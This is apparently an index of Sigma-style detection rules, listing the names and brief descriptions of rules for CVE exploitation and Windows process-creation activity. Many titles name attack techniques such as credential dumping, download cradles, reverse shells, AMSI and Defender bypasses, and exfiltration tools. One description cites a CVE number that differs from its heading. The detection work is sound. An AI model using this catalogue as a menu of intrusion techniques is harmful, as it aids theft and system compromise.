cve.2023_27997	1	Show Rules (1) Potential CVE-2023-27997 Exploitation Indicators - Level: medium Description: Detects indicators of potential exploitation of CVE-2023-27997 in Frotigate weblogs. To avoid false positives it is best to look for successive requests to the endpoints mentioned as well as weird values of the "enc" parameter
cve.2024_1212	1	Show Rules (1) CVE-2024-1212 Exploitation - Progress Kemp LoadMaster Unauthenticated Command Injection - Level: high Description: Detects potential exploitation of CVE-2024-1709 an unauthenticated command injection in Progress Kemp LoadMaster. It looks for GET requests to '/access/set' API with the parameters 'param=enableapi' and 'value=1' as well as an "Authorization" header with a base64 encoded value with an uncommon character.
cve.2024_3094	1	Show Rules (1) Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process - Level: high Description: Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.
cve.2024_49113	1	Show Rules (1) CVE-2024-49113 Exploitation Attempt - LDAP Nightmare - Level: high Description: Detects exploitation attempt of CVE-2024-49113 known as LDAP Nightmare, based on "Application Error" log where the faulting application is "lsass.exe" and the faulting module is "WLDAP32.dll".
car.2016_04_004	1	Show Rules (1) Potential Pass the Hash Activity - Level: medium Description: Detects the attack technique pass the hash which is used to move laterally inside the network
car.2013_04_002	1	Show Rules (1) Quick Execution of a Series of Suspicious Commands - Level: low Description: Detects multiple suspicious process in a limited timeframe

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windows-process_creation	1387	Show Rules (1387) SyncAppvPublishingServer Execution to Bypass Powershell Restriction APT29 CrackMapExecWin GALLIUM Artefacts Suspicious Certutil Command Usage Hurricane Panda Activity Lazarus Activity Apr21 Lazarus Loaders DNS Tunnel Technique from MuddyWater TA505 Dropper Load Pattern Read and Execute a File Via Cmd.exe Cmd Stream Redirection Credential Acquisition via Registry Hive Dumping Visual Basic Script Execution Execution via MSSQL Xp_cmdshell Stored Procedure Indirect Command Exectuion via Forfiles Indirect Command Execution Invoke-Obfuscation RUNDLL LAUNCHER Invoke-Obfuscation Via Use Rundll32 New Lolbin Process by Office Applications Monitoring Wuauclt.exe For Lolbas Execution Of DLL Abusing Findstr for Defense Evasion Suspicious File Download Using Office Application Execute MSDT.EXE Using Diagcab File Ryuk Ransomware Command Line Activity MavInject Process Injection Process Memory Dumped Via RdrLeakDiag.EXE Trickbot Malware Reconnaissance Activity New Service Creation Nslookup PwSh Download Cradle Application Whitelisting Bypass via DLL Loaded by odbcconf.exe Excel Proxy Executing Regsvr32 With Payload Excel Proxy Executing Regsvr32 With Payload Alternate Office Applications Spawning Wmi Cli Alternate Possible Applocker Bypass PowerShell AMSI Bypass Pattern Base64 Encoded Listing of Shadowcopy Malicious Base64 Encoded Powershell Invoke Cmdlets Potential PowerShell Base64 Encoded Shellcode Suspicious Bitsadmin Job via PowerShell Stop Or Remove Antivirus Service Potential Xor Encoded PowerShell Command Regsvr32 Anomaly Registry Dump of SAM Creds and Secrets Renamed PaExec Execution Renamed PsExec Renamed PowerShell Renamed Rundll32.exe Execution Root Certificate Installed Rundll32 JS RunHTMLApplication Pattern Suspicious Rundll32 Script in CommandLine Run from a Zip File Suspicious Add Scheduled Task From User AppData Temp Suspicious Execution of Sc to Delete AV Services Stop Windows Service Suspicious Bitstransfer via PowerShell Suspicious Cmd Execution via WMI Suspicious Characters in CommandLine Wscript Execution from Non C Drive Process Start From Suspicious Folder Squirrel Lolbin PsExec Tool Execution PsExec Service Start Run Whoami as SYSTEM Winword.exe Loads Suspicious DLL WMI Execution Via Office Process WMI Remote Command Execution WMI Reconnaissance List Remote Services Windows Update Client LOLBIN RClone Execution Domain Trust Discovery Suspicious Esentutl Use Rclone Execution via Command Line or PowerShell Activity Related to NTDS.dit Domain Hash Retrieval Compress Data and Lock With Password for Exfiltration With 7-ZIP 7Zip Compressing Dump Files Potential DLL Injection Via AccCheckConsole Suspicious AddinUtil.EXE CommandLine Execution Uncommon Child Process Of AddinUtil.EXE Uncommon AddinUtil.EXE CommandLine Execution AddinUtil.EXE Execution From Uncommon Directory Potential Adplus.EXE Abuse AgentExecutor PowerShell Execution Suspicious AgentExecutor PowerShell Execution Uncommon Child Process Of Appvlp.EXE AspNetCompiler Execution Suspicious Child Process of AspNetCompiler Potentially Suspicious ASP.NET Compilation Via AspNetCompiler Uncommon Assistive Technology Applications Execution Via AtBroker.EXE Hiding Files with Attrib.exe Set Suspicious Files as System Files Using Attrib.EXE Interactive AT Job Audit Policy Tampering Via NT Resource Kit Auditpol Audit Policy Tampering Via Auditpol Indirect Inline Command Execution Via Bash.EXE Indirect Command Execution From Script File Via Bash.EXE Boot Configuration Tampering Via Bcdedit.EXE Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE Data Export From MSSQL Table Via BCP.EXE Suspicious Child Process Of BgInfo.EXE BitLockerTogo.EXE Execution Uncommon Child Process Of BgInfo.EXE Suspicious Download From Direct IP Via Bitsadmin File Download Via Bitsadmin Suspicious Download From File-Sharing Website Via Bitsadmin File With Suspicious Extension Downloaded Via Bitsadmin File Download Via Bitsadmin To A Suspicious Target Folder File Download Via Bitsadmin To An Uncommon Target Folder Monitoring For Persistence Via BITS Potential Data Stealing Via Chromium Headless Debugging Browser Execution In Headless Mode File Download with Headless Browser Chromium Browser Instance Executed With Custom Extension Chromium Browser Headless Execution To Mockbin Like Site Suspicious Chromium Browser Instance Executed With Custom Extension File Download From Browser Process Via Inline URL Browser Started with Remote Debugging Tor Client/Browser Execution Suspicious Calculator Usage Potential Binary Proxy Execution Via Cdb.EXE New Root Certificate Installed Via CertMgr.EXE File Download via CertOC.EXE File Download From IP Based URL Via CertOC.EXE DLL Loaded via CertOC.EXE Suspicious DLL Loaded via CertOC.EXE New Root Certificate Installed Via Certutil.EXE File Decoded From Base64/Hex Via Certutil.EXE Suspicious Download Via Certutil.EXE Suspicious File Downloaded From Direct IP Via Certutil.EXE Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE File Encoded To Base64 Via Certutil.EXE Potential NTLM Coercion Via Certutil.EXE Suspicious File Encoded To Base64 Via Certutil.EXE File In Suspicious Location Encoded To Base64 Via Certutil.EXE Certificate Exported Via Certutil.EXE Suspicious CodePage Switch Via CHCP Console CodePage Lookup Via CHCP Deleted Data Overwritten Via Cipher.EXE Process Access via TrolleyExpress Exclusion Data Copied To Clipboard Via Clip.EXE Cloudflared Portable Execution Cloudflared Quick Tunnel Execution Cloudflared Tunnel Connections Cleanup Cloudflared Tunnel Execution New Generic Credentials Added Via Cmdkey.EXE Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE Change Default File Association Via Assoc Potential Arbitrary File Download Via Cmdl32.EXE Change Default File Association To Executable Via Assoc Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE Curl Download And Execute Combination File Deletion Via Del Greedy File Deletion Using Del File And SubFolder Enumeration Via Dir Command Potential Dosfuscation Activity Command Line Execution with Suspicious URL and AppData Strings Potential Privilege Escalation Using Symlink Between Osk and Cmd VolumeShadowCopy Symlink Creation Via Mklink Suspicious File Execution From Internet Hosted WebDav Share Cmd.EXE Missing Space Characters Execution Anomaly Potential CommandLine Path Traversal Via Cmd.EXE NtdllPipe Like Activity Execution Potentially Suspicious Ping/Copy Command Combination Suspicious Ping/Del Command Combination Potentially Suspicious CMD Shell Output Redirect Directory Removal Via Rmdir Copy From VolumeShadowCopy Via Cmd.EXE Read Contents From Stdin Via Cmd.EXE Persistence Via Sticky Key Backdoor Sticky Key Like Backdoor Execution Potential Download/Upload Activity Using Type Command Unusual Parent Process For Cmd.EXE CMSTP Execution Process Creation Arbitrary File Download Via ConfigSecurityPolicy.EXE Powershell Executed From Headless ConHost Process Suspicious High IntegrityLevel Conhost Legacy Option Conhost.exe CommandLine Path Traversal Uncommon Child Process Of Conhost.EXE Conhost Spawned By Uncommon Parent Process Control Panel Items CreateDump Process Dump Dynamic .NET Compilation Via Csc.EXE Csc.EXE Execution Form Potentially Suspicious Parent Suspicious Csi.exe Usage Suspicious Use of CSharp Interactive Console Active Directory Structure Export Via Csvde.EXE Potential Cookies Session Hijacking Curl Web Request With Potential Custom User-Agent File Download From IP URL Via Curl.EXE Suspicious File Download From IP Via Curl.EXE Suspicious File Download From File Sharing Domain Via Curl.EXE Insecure Transfer Via Curl.EXE Insecure Proxy/DOH Transfer Via Curl.EXE Suspicious Curl.EXE Download Local File Read Using Curl.EXE ManageEngine Endpoint Central Dctask64.EXE Potential Abuse Uncommon Child Process Of Defaultpack.EXE Remote File Download Via Desktopimgdownldr Utility Suspicious Desktopimgdownldr Command Potential DLL Sideloading Via DeviceEnroller.EXE Potentially Suspicious Child Process Of ClickOnce Application Arbitrary MSI Download Via Devinit.EXE DirLister Execution PowerShell Web Access Feature Enabled Via DISM Potentially Suspicious Child Process Of DiskShadow.EXE Diskshadow Script Mode - Uncommon Script Extension Execution Diskshadow Script Mode - Execution From Potential Suspicious Location Dism Remove Online Package Dllhost.EXE Execution Anomaly DLL Sideloading by VMware Xfer Utility Potential Discovery Activity Via Dnscmd.EXE New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE DNS Exfiltration and Tunneling Tools Execution Unusual Child Process of dns.exe Potential Application Whitelisting Bypass via Dnx.EXE Process Memory Dump Via Dotnet-Dump Arbitrary DLL or Csproj Code Execution Via Dotnet.EXE Binary Proxy Execution Via Dotnet-Trace.EXE Potential Recon Activity Using DriverQuery.EXE DriverQuery.EXE Execution Potentially Over Permissive Permissions Granted Using Dsacls.EXE Potential Password Spraying Attempt Using Dsacls.EXE Domain Trust Discovery Via Dsquery Suspicious Kernel Dump Using Dtrace Potential Windows Defender AV Bypass Via Dump64.EXE Rename DumpMinitool Execution Suspicious DumpMinitool Execution New Capture Session Launched Via DXCap.EXE Esentutl Gather Credentials Copying Sensitive Files with Credential Data Esentutl Steals Browser Information Potentially Suspicious Event Viewer Child Process Potentially Suspicious Cabinet File Expansion Explorer Process Tree Break File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell Explorer NOUACCHECK Flag Remote File Download Via Findstr.EXE Findstr GPP Passwords Findstr Launching .lnk File LSASS Process Reconnaissance Via Findstr.EXE Recon Command Output Piped To Findstr.EXE Permission Misconfiguration Reconnaissance Via Findstr.EXE Security Tools Keyword Lookup Via Findstr.EXE Insensitive Subfolder Search Via Findstr.EXE Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE Finger.EXE Execution Filter Driver Unloaded Via Fltmc.EXE Sysmon Driver Unloaded Via Fltmc.EXE Forfiles.EXE Child Process Masquerading Forfiles Command Execution Uncommon FileSystem Load Attempt By Format.com Use of FSharp Interpreters Fsutil Drive Enumeration Fsutil Behavior Set SymlinkEvaluation Fsutil Suspicious Invocation Potential Arbitrary Command Execution Via FTP.EXE Arbitrary File Download Via GfxDownloadWrapper.EXE Suspicious Git Clone Potentially Suspicious GoogleUpdate Child Process File Decryption Using Gpg4win File Encryption Using Gpg4win Portable Gpg.EXE Execution File Encryption/Decryption Via Gpg4win From Suspicious Locations Arbitrary Binary Execution Using GUP Utility Gpresult Display Group Policy Information File Download Using Notepad++ GUP Utility Suspicious GUP Usage HH.EXE Execution Remote CHM File Download/Execution Via HH.EXE HTML Help HH.EXE Suspicious Child Process Suspicious HH.EXE Execution HackTool - ADCSPwn Execution HackTool - Bloodhound/Sharphound Execution HackTool - F-Secure C3 Load by Rundll32 HackTool - Certify Execution HackTool - Certipy Execution Operator Bloopers Cobalt Strike Commands Operator Bloopers Cobalt Strike Modules CobaltStrike Load by Rundll32 Potential CobaltStrike Process Patterns HackTool - CoercedPotato Execution HackTool - Covenant PowerShell Launcher HackTool - CrackMapExec Execution HackTool - CrackMapExec Execution Patterns HackTool - CrackMapExec Process Patterns HackTool - CrackMapExec PowerShell Obfuscation HackTool - CreateMiniDump Execution HackTool - DInjector PowerShell Cradle Execution HackTool - Dumpert Process Dumper Execution HackTool - EDRSilencer Execution HackTool - Empire PowerShell Launch Parameters HackTool - Empire PowerShell UAC Bypass Hacktool Execution - Imphash HackTool - WinRM Access Via Evil-WinRM Hacktool Execution - PE Metadata HackTool - GMER Rootkit Detector and Remover Execution HackTool - HandleKatz LSASS Dumper Execution HackTool - Hashcat Password Cracker Execution HackTool - Htran/NATBypass Execution HackTool - Hydra Password Bruteforce Execution HackTool - Potential Impacket Lateral Movement Activity HackTool - Impacket Tools Execution HackTool - Impersonate Execution Invoke-Obfuscation COMPRESS OBFUSCATION Invoke-Obfuscation CLIP+ Launcher Invoke-Obfuscation Obfuscated IEX Invocation Invoke-Obfuscation STDIN+ Launcher Invoke-Obfuscation VAR+ Launcher HackTool - Inveigh Execution Invoke-Obfuscation Via Stdin Invoke-Obfuscation Via Use Clip Invoke-Obfuscation Via Use MSHTA Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION HackTool - Jlaive In-Memory Assembly Execution HackTool - Koadic Execution HackTool - KrbRelay Execution HackTool - KrbRelayUp Execution HackTool - RemoteKrbRelay Execution HackTool - LaZagne Execution HackTool - LocalPotato Execution Potential Meterpreter/CobaltStrike Activity HackTool - Mimikatz Execution HackTool - PCHunter Execution HackTool - Default PowerSploit/Empire Scheduled Task Creation HackTool - PowerTool Execution HackTool - Pypykatz Credentials Dumping Activity HackTool - PurpleSharp Execution HackTool - Quarks PwDump Execution HackTool - RedMimicry Winnti Playbook Execution Potential SMB Relay Attack Tool Execution HackTool - Rubeus Execution HackTool - SafetyKatz Execution HackTool - SecurityXploded Execution HackTool - PPID Spoofing SelectMyParent Tool Execution HackTool - SharPersist Execution HackTool - SharpEvtMute Execution HackTool - SharpLdapWhoami Execution HackTool - SharpMove Tool Execution HackTool - SharpUp PrivEsc Tool Execution HackTool - SharpView Execution HackTool - SharpWSUS/WSUSpendu Execution HackTool - SharpChisel Execution HackTool - SharpImpersonation Execution HackTool - SharpDPAPI Execution HackTool - SharpLDAPmonitor Execution HackTool - SILENTTRINITY Stager Execution HackTool - Sliver C2 Implant Activity Pattern HackTool - SOAPHound Execution HackTool - Stracciatella Execution HackTool - SysmonEOP Execution HackTool - TruffleSnout Execution HackTool - UACMe Akagi Execution HackTool - Windows Credential Editor (WCE) Execution HackTool - winPEAS Execution HackTool - WinPwn Execution HackTool - Wmiexec Default Powershell Command HackTool - XORDump Execution Suspicious ZipExec Execution Suspicious Execution of Hostname Suspicious HWP Sub Processes Potential Fake Instance Of Hxtsr.EXE Executed Use Icacls to Hide File to Everyone File Download And Execution Via IEExec.EXE Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location Disable Windows IIS HTTP Logging Microsoft IIS Service Account Password Dumped IIS Native-Code Module Command Line Installation Suspicious IIS URL GlobalRules Rewrite Via AppCmd Microsoft IIS Connection Strings Decryption Suspicious IIS Module Registration C# IL Code Compilation Via Ilasm.EXE ImagingDevices Unusual Parent/Child Processes Arbitrary File Download Via IMEWDBLD.EXE InfDefaultInstall.exe .inf Execution File Download Via InstallUtil.EXE Suspicious Execution of InstallUtil Without Log Suspicious Shells Spawn by Java Utility Keytool Suspicious Child Process Of Manage Engine ServiceDesk Java Running with Remote Debugging Suspicious Processes Spawned by Java.EXE Shell Process Spawned by Java.EXE Suspicious SysAidServer Child JScript Compiler Execution Kavremover Dropped Binary LOLBIN Usage Windows Kernel Debugger Execution Computer Password Change Via Ksetup.EXE Potentially Suspicious Child Process of KeyScrambler.exe Active Directory Structure Export Via Ldifde.EXE Logged-On User Password Change Via Ksetup.EXE Import LDAP Data Interchange Format File Via Ldifde.EXE Uncommon Link.EXE Parent Process Rebuild Performance Counter Values Via Lodctr.EXE Suspicious Windows Trace ETW Session Tamper Via Logman.EXE Suspicious CustomShellHost Execution LOLBAS Data Exfiltration by DataSvcUtil.exe Devtoolslauncher.exe Executes Specified Binary DeviceCredentialDeployment Execution Suspicious Diantz Alternate Data Stream Execution Suspicious Diantz Download and Compress Into a CAB File Suspicious Extrac32 Execution Suspicious Extrac32 Alternate Data Stream Execution Potential Reconnaissance Activity Via GatherNetworkInfo.VBS Gpscript Execution Ie4uinit Lolbin Use From Invalid Path Launch-VsDevShell.PS1 Proxy Execution Potential Manage-bde.wsf Abuse To Proxy Execution Mavinject Inject DLL Into Running Process MpiExec Lolbin Execute Files with Msdeploy.exe Execute MSDT Via Answer File Use of OpenConsole OpenWith.exe Executes Specified Binary Use of Pcalua For Execution Indirect Command Execution By Program Compatibility Wizard Execute Pcwrun.EXE To Leverage Follina Code Execution via Pcwutl.dll Execute Code with Pester.bat as Parent Execute Code with Pester.bat PrintBrm ZIP Creation of Extraction Pubprn.vbs Proxy Execution DLL Execution via Rasautou.exe REGISTER_APP.VBS Proxy Execution Use of Remote.exe Replace.exe Usage Lolbin Runexehelper Use As Proxy Suspicious Runscripthelper.exe Use of Scriptrunner.exe Using SettingSyncHost.exe as LOLBin Use Of The SFTP.EXE Binary As A LOLBIN Suspicious Certreq Command to Download Suspicious Driver Install by pnputil.exe Suspicious GrpConv Execution Dumping Process via Sqldumper.exe SyncAppvPublishingServer Execute Arbitrary PowerShell Code SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code Potential DLL Injection Or Execution Using Tracker.exe Use of TTDInject.exe Time Travel Debugging Utility Usage Lolbin Unregmp2.exe Use As Proxy UtilityFunctions.ps1 Proxy Dll Use of VisualUiaVerifyNative.exe Visual Basic Command Line Compiler Usage Use of VSIISExeLauncher.exe Use of Wfc.exe Potential Register_App.Vbs LOLScript Abuse Potential Credential Dumping Via LSASS Process Clone Potential Mftrace.EXE Abuse MMC20 Lateral Movement MMC Spawning Windows Shell CodePage Modification Via MODE.COM To Russian Language Potential Suspicious Mofcomp Execution Potential Mpclient.DLL Sideloading Via Defender Binaries File Download Via Windows Defender MpCmpRun.EXE Suspicious Msbuild Execution By Uncommon Parent Process Windows Defender Definition Files Removed Potential Arbitrary Command Execution Using Msdt.EXE Suspicious Cabinet File Execution Via Msdt.EXE Arbitrary File Download Via MSEDGE_PROXY.EXE Suspicious MSDT Parent Process Remotely Hosted HTA File Executed Via Mshta.EXE Wscript Shell Run In CommandLine Suspicious JavaScript Execution Via Mshta.EXE Potential LethalHTA Technique Execution Suspicious MSHTA Child Process MSHTA Suspicious Execution 01 Suspicious Mshta.EXE Execution Patterns DllUnregisterServer Function Call Via Msiexec.EXE Suspicious MsiExec Embedding Parent Suspicious Msiexec Execute Arbitrary DLL Msiexec Quiet Installation Suspicious Msiexec Quiet Install From Remote Location Potential MsiExec Masquerading MsiExec Web Install Arbitrary File Download Via MSOHTMED.EXE Arbitrary File Download Via MSPUB.EXE Potential Process Injection Via Msra.EXE Detection of PowerShell Execution via Sqlps.exe SQL Client Tools PowerShell Session Detection Suspicious Child Process Of SQL Server Suspicious Child Process Of Veeam Dabatase Potential MSTSC Shadowing Activity New Remote Desktop Connection Initiated Via Mstsc.EXE Mstsc.EXE Execution With Local RDP File Suspicious Mstsc.EXE Execution With Local RDP File Mstsc.EXE Execution From Uncommon Parent Msxsl.EXE Execution Remote XSL Execution Via Msxsl.EXE New Firewall Rule Added Via Netsh.EXE Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE RDP Connection Allowed Via Netsh.EXE Firewall Rule Deleted Via Netsh.EXE Firewall Disabled via Netsh.EXE Netsh Allow Group Policy on Microsoft Defender Firewall Firewall Configuration Discovery Via Netsh.EXE Firewall Rule Update Via Netsh.EXE Potential Persistence Via Netsh Helper DLL New Network Trace Capture Started Via Netsh.EXE New Port Forwarding Rule Added Via Netsh.EXE RDP Port Forwarding Rule Added Via Netsh.EXE Harvesting Of Wifi Credentials Via Netsh.EXE Suspicious Group And Account Reconnaissance Activity Using Net.EXE Unmount Share Via Net.EXE Start Windows Service Via Net.EXE New User Created Via Net.EXE New User Created Via Net.EXE With Never Expire Option Suspicious Manipulation Of Default Accounts Via Net.EXE Windows Admin Share Mount Via Net.EXE Stop Windows Service Via Net.EXE Password Provided In Command Line Of Net.EXE Windows Internet Hosted WebDav Share Mount Via Net.EXE Windows Share Mount Via Net.EXE System Network Connections Discovery Via Net.EXE Share And Session Enumeration Using Net.EXE Nltest.EXE Execution Potential Arbitrary Code Execution Via Node.EXE Potential Recon Activity Via Nltest.EXE Node Process Executions Network Reconnaissance Activity Nslookup PowerShell Download Cradle - ProcessCreation Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe) Invocation of Active Directory Diagnostic Tool (ntdsutil.exe) Driver/DLL Installation Via Odbcconf.EXE Suspicious Driver/DLL Installation Via Odbcconf.EXE New DLL Registered Via Odbcconf.EXE Odbcconf.EXE Suspicious DLL Location Potentially Suspicious DLL Registered Via Odbcconf.EXE Response File Execution Via Odbcconf.EXE Suspicious Response File Execution Via Odbcconf.EXE Uncommon Child Process Spawned By Odbcconf.EXE Potential Arbitrary File Download Using Office Application Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp Potentially Suspicious Office Document Executed From Trusted Location OneNote.EXE Execution of Malicious Embedded Scripts Suspicious Microsoft OneNote Child Process Outlook EnableUnsafeClientMailRules Setting Enabled Suspicious Execution From Outlook Temporary Folder Suspicious Outlook Child Process Suspicious Remote Child Process From Outlook Suspicious Binary In User Directory Spawned From Office Application Potential Arbitrary DLL Load Using Winword Suspicious Microsoft Office Child Process Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution PDQ Deploy Remote Adminstartion Tool Execution Potentially Suspicious Execution Of PDQDeployRunner Perl Inline Command Execution Php Inline Command Execution Ping Hex IP PktMon.EXE Execution Suspicious Plink Port Forwarding Potential RDP Tunneling Via Plink Suspicious Powercfg Execution To Change Lock Screen Timeout AADInternals PowerShell Cmdlets Execution - ProccessCreation Potential Active Directory Enumeration Using AD Module - ProcCreation Add Windows Capability Via PowerShell Cmdlet Potential AMSI Bypass Via .NET Reflection Potential AMSI Bypass Using NULL Bits Audio Capture via PowerShell Suspicious Encoded PowerShell Command Line Suspicious PowerShell Encoded Command Patterns Suspicious Obfuscated PowerShell Code PowerShell Base64 Encoded FromBase64String Cmdlet Malicious Base64 Encoded PowerShell Keywords in Command Lines PowerShell Base64 Encoded IEX Cmdlet PowerShell Base64 Encoded Invoke Keyword Powershell Base64 Encoded MpPreference Cmdlet PowerShell Base64 Encoded Reflective Assembly Load Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call Potential Process Execution Proxy Via CL_Invocation.ps1 PowerShell Base64 Encoded WMI Classes Assembly Loading Via CL_LoadAssembly.ps1 Potential Script Proxy Execution Via CL_Mutexverifiers.ps1 Potential PowerShell Obfuscation Via Reversed Commands ConvertTo-SecureString Cmdlet Usage Via CommandLine Potential PowerShell Command Line Obfuscation Computer Discovery And Export Via Get-ADComputer Cmdlet New Service Creation Using PowerShell Gzip Archive Decode Via PowerShell PowerShell Execution With Potential Decryption Capabilities Powershell Defender Disable Scan Feature Powershell Defender Exclusion Disable Windows Defender AV Security Monitoring Windows Firewall Disabled via PowerShell Potential PowerShell Downgrade Attack Disabled IE Security Features Potential COM Objects Download Cradles Usage - Process Creation PowerShell Web Download Obfuscated PowerShell OneLiner Execution Potential DLL File Download Via PowerShell Invoke-WebRequest PowerShell Download and Execution Cradles PowerShell Download Pattern Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE DSInternals Suspicious PowerShell Cmdlets Email Exifiltration Via Powershell Potential Suspicious Windows Feature Enabled - ProcCreation Suspicious Execution of Powershell with Base64 Potential Encoded PowerShell Patterns In CommandLine Powershell Inline Execution From A File Certificate Exported Via PowerShell Base64 Encoded PowerShell Command Detected Suspicious FromBase64String Usage On Gzip Archive - Process Creation PowerShell Get-Process LSASS Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet PowerShell Get-Clipboard Cmdlet Via CLI Abuse of Service Permissions to Hide Services Via Set-Service Suspicious PowerShell IEX Execution Patterns Root Certificate Installed From Susp Locations Import PowerShell Modules From Suspicious Directories - ProcCreation Unsigned AppX Installation Attempt Using Add-AppxPackage Suspicious PowerShell Invocations - Specific - ProcessCreation Suspicious Invoke-WebRequest Execution With DirectIP Suspicious Invoke-WebRequest Execution Suspicious PowerShell Mailbox Export to Share Malicious PowerShell Commandlets - ProcessCreation MSExchange Transport Agent Installation Non Interactive PowerShell Process Spawned Potential PowerShell Obfuscation Via WCHAR Execution of Powershell Script in Public Folder Tamper Windows Defender Remove-MpPreference RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses Potential Powershell ReverseShell Connection Run PowerShell Script from ADS Run PowerShell Script from Redirected Input Stream PowerShell SAM Copy Suspicious Service DACL Modification Via Set-Service Cmdlet Suspicious PowerShell Invocation From Script Engines PowerShell Set-Acl On Windows Folder Change PowerShell Policies to an Insecure Level PowerShell Script Change Permission Via Set-Acl Service StartupType Change Via PowerShell Set-Service Deletion of Volume Shadow Copies via WMI with PowerShell Exchange PowerShell Snap-Ins Usage Stop Windows Service Via PowerShell Stop-Service Suspicious PowerShell Download and Execute Pattern Suspicious PowerShell Parameter Substring Suspicious PowerShell Parent Process PowerShell Script Run in AppData Powershell Token Obfuscation - Process Creation PowerShell DownloadFile User Discovery And Export Via Get-ADUser Cmdlet Net WebClient Casing Anomalies Suspicious X509Enrollment - Process Creation Suspicious XOR Encoded PowerShell Command Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet Arbitrary File Download Via PresentationHost.EXE XBAP Execution From Uncommon Locations Via PresentationHost.EXE Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution Abusing Print Executable File Download Using ProtocolHandler.exe Suspicious Provlaunch.EXE Child Process Potential Provlaunch.EXE Binary Proxy Execution Abuse Screen Capture Activity Via Psr.EXE PUA - 3Proxy Execution PUA - AdFind Suspicious Execution PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE PUA - AdvancedRun Execution PUA - AdvancedRun Suspicious Execution PUA - Advanced IP Scanner Execution PUA - Advanced Port Scanner Execution PUA - Chisel Tunneling Tool Execution PUA - CleanWipe Execution PUA - Crassus Execution PUA - CsExec Execution PUA - DIT Snapshot Viewer PUA - DefenderCheck Execution PUA - Fast Reverse Proxy (FRP) Execution PUA- IOX Tunneling Tool Execution PUA - Mouse Lock Execution PUA - Netcat Suspicious Execution PUA - SoftPerfect Netscan Execution PUA - Ngrok Execution PUA - Nimgrab Execution PUA - NirCmd Execution PUA - NirCmd Execution As LOCAL SYSTEM PUA - Nmap/Zenmap Execution PUA - NPS Tunneling Tool Execution PUA - NSudo Execution PUA - PingCastle Execution PUA - PingCastle Execution From Potentially Suspicious Parent PUA - Process Hacker Execution PUA - Radmin Viewer Utility Execution PUA - Potential PE Metadata Tamper Using Rcedit PUA - Rclone Execution PUA - RunXCmd Execution PUA - Seatbelt Execution PUA - System Informer Execution PUA - WebBrowserPassView Execution PUA - Wsudo Suspicious Execution PUA - Adidnsdump Execution Python Inline Command Execution Python Spawning Pretty TTY on Windows Potentially Suspicious Usage Of Qemu Query Usage To Exfil Data QuickAssist Execution Rar Usage with Password and Compression Level Files Added To An Archive Using Rar.EXE Suspicious Greedy Compression Using Rar.EXE Suspicious RASdial Activity Process Memory Dump via RdrLeakDiag.EXE Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location Exports Critical Registry Keys To a File Exports Registry Key To a File Imports Registry Key From a File Imports Registry Key From an ADS Regedit as Trusted Installer Suspicious Registry Modification From ADS Via Regini.EXE Registry Modification Via Regini.EXE DLL Execution Via Register-cimprovider.exe Enumeration for 3rd Party Creds From CLI Suspicious Debugger Registration Cmdline IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI Potential Persistence Via Logon Scripts - CommandLine Potential Credential Dumping Attempt Using New NetworkProvider - CLI Python Function Execution Security Warning Disabled In Excel Potential Privilege Escalation via Service Permissions Weakness Potential Provisioning Registry Key Abuse For Binary Proxy Execution Potential PowerShell Execution Policy Tampering - ProcCreation Hiding User Account Via SpecialAccounts Registry Key - CommandLine Persistence Via TypedPaths - CommandLine Potential Regsvr32 Commandline Flag Anomaly Potentially Suspicious Regsvr32 HTTP IP Pattern Potentially Suspicious Regsvr32 HTTP/FTP Pattern Suspicious Regsvr32 Execution From Remote Share Potentially Suspicious Child Process Of Regsvr32 Regsvr32 Execution From Potential Suspicious Location Regsvr32 Execution From Highly Suspicious Location Regsvr32 DLL Execution With Suspicious File Extension Scripting/CommandLine Process Spawned Regsvr32 Regsvr32 DLL Execution With Uncommon Extension Potential Persistence Attempt Via Run Keys Using Reg.EXE Add SafeBoot Keys Via Reg Utility Suspicious Reg Add BitLocker Dropping Of Password Filter DLL SafeBoot Registry Key Deleted Via Reg.EXE Suspicious Windows Defender Folder Exclusion Added Via Reg.EXE Service Registry Key Deleted Via Reg.EXE Potentially Suspicious Desktop Background Change Using Reg.EXE Direct Autorun Keys Modification Security Service Disabled Via Reg.EXE Dumping of Sensitive Hives Via Reg.EXE Windows Recall Feature Enabled Via Reg.EXE Potential Suspicious Registry File Imported Via Reg.EXE LSA PPL Protection Disabled Via Reg.EXE Modify Group Policy Settings Suspicious Reg Add Open Command Enumeration for Credentials in Registry Enable LM Hash Storage - ProcCreation RestrictedAdminMode Registry Value Tampering - ProcCreation Detected Windows Software Discovery Potential Tampering With RDP Related Registry Keys Via Reg.EXE Potential Configuration And Service Reconnaissance Via Reg.EXE Suspicious ScreenSave Change by Reg.exe Changing Existing Service ImagePath Value Via Reg.EXE Reg Add Suspicious Paths Disabled Volume Snapshots Suspicious Windows Defender Registry Key Tampering Via Reg.EXE Write Protect For Storage Disabled Suspicious Query of MachineGUID Remote Access Tool - AnyDesk Execution Remote Access Tool - AnyDesk Piped Password Via CLI Remote Access Tool - AnyDesk Silent Installation Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate Remote Access Tool - Anydesk Execution From Suspicious Folder Remote Access Tool - RURAT Execution From Unusual 